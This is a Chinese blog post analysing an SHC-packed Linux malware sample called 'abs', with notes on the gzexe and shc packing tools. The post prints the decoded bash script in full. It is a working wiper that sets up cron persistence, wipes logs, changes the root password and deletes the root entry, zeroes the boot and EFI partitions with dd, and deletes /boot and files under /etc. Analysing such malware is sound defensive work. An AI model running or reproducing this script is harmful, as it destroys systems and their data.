SHC打包的样本分析

样本详情

文件名 abs
MD5 C1D496BE65D18BABF1252DF8CCF95660
大小 538880 字节
image-20230215160230343

样本分析

使用winhex查看样本发现,样本存在大量空数据,本身并没有那么大。并且搜索字符串并没有发现有用信息。

image-20230215160707540

通过ida分析,发现存在解密执行过程,初步怀疑是shell打包程序。

使用gdb进行调试

image-20230215161203037

解码得到原bash,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/bash
grub2-mkstandalone "$@"
echo '/usr/bin/abs'>>/etc/cron.monthly/logrotate & >/dev/null
echo '/usr/bin/abs' >>/etc/cron.monthly/man-db.cron & >/dev/null
echo >/etc/cron.hourly/0anacron & >/dev/null

rm -rf /usr/bin/abs &>/dev/null;cp /usr/bin/"$0" /usr/bin/abs &>/dev/null

#清空日志
function rm_sec()
{
local aa=(boot btmp cron dmesg lastlog secure maillog messages yum wtmp spooler tallylog)
for i in "${aa[@]}"
do
rm -rf /var/log/"$i"* & >/dev/null
touch /var/log/"$i"

done
}

#删除启动
function boot_del()
{

# change password
echo 'nofairsodestoryrebuild'|passwd --stdin root &>/dev/null
sed -i '/root/d' /etc/passwd &>/dev/null
# boot del
sed -i '/insmod/d' /boot/grub2/grub.cfg &>/dev/null
umount -f /boot/efi &>/dev/null
umount -f /boot &>/dev/null
boot=$(lsblk|grep -Ei "boot$"|awk '{print $1}'|awk -F'─' '{print $2}')
efi=$(lsblk|grep -Ei "efi$"|awk '{print $1}'|awk -F'─' '{print $2}')
dd if=/dev/zero of=/dev/$boot bs=10M count=10 &>/dev/null
dd if=/dev/zero of=/dev/$efi bs=10M count=10 &>/dev/null
# file del
rm -rf /boot/ &>/dev/null
find /etc -iname "*con*"|xargs rm -rf &>/dev/null

#fake information
echo -e "$a 正大黑客组织,为此次攻击事件负责 \n 高额房价,民不聊生 \n 官员腐败,民生怨恨 \n 不加改善,">/etc/motd &>>/dev/null
}


now=$(date -d $(date -I) +%s)
fa=1655654400 #2022-6-20 0:0:0
if [[ $now -gt "$fa" ]]; then
rm_sec
boot_del
echo "">/var/log/audit.log
fi

if [[ $0 = "grub2-mkstandalone" ]];then

rm_sec
boot_del
echo "">/var/log/audit.log
fi

经过对比使用shc生成的其他elf结构,可以判定该文件是使用shc进行打包的bash

使用GitHub的UnSHc反编译工具失败

gzexe

gzexe命令是linux自带的,用于压缩执行文件的程序。当执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。

1
2
gzexe tesh.sh     #加密
gzexe -d tesh.sh #解密

加密完成后,test.sh即加密后的文件,同时源文件备份为test.sh~。

加密前test.sh

1
2
#!/bin/sh
echo "Welcome to linux world"

加密后test.sh

image-20230215150940838

SHC

SHC是一个将bash等脚本打包成二进制文件执行的工具,由于其执行脚本的方式不需要脚本文件落地,且在打包的二进制文件中加密脚本内容,在静态文件中没有脚本的痕迹,很多恶意文件利用该工具完成恶意行为,常规的恶意软件检测也难以判黑。

使用shc之前需要提前安装gcc

1
2
sudo apt-get install gcc
sudo apt-get install shc

执行

1
shc -f test.sh -o test.bin

image-20230215151446047


SHC打包的样本分析
http://wangchenchina.github.io/2023/02/16/SHC打包的样本分析/
作者
Demo
发布于
2023年2月16日
许可协议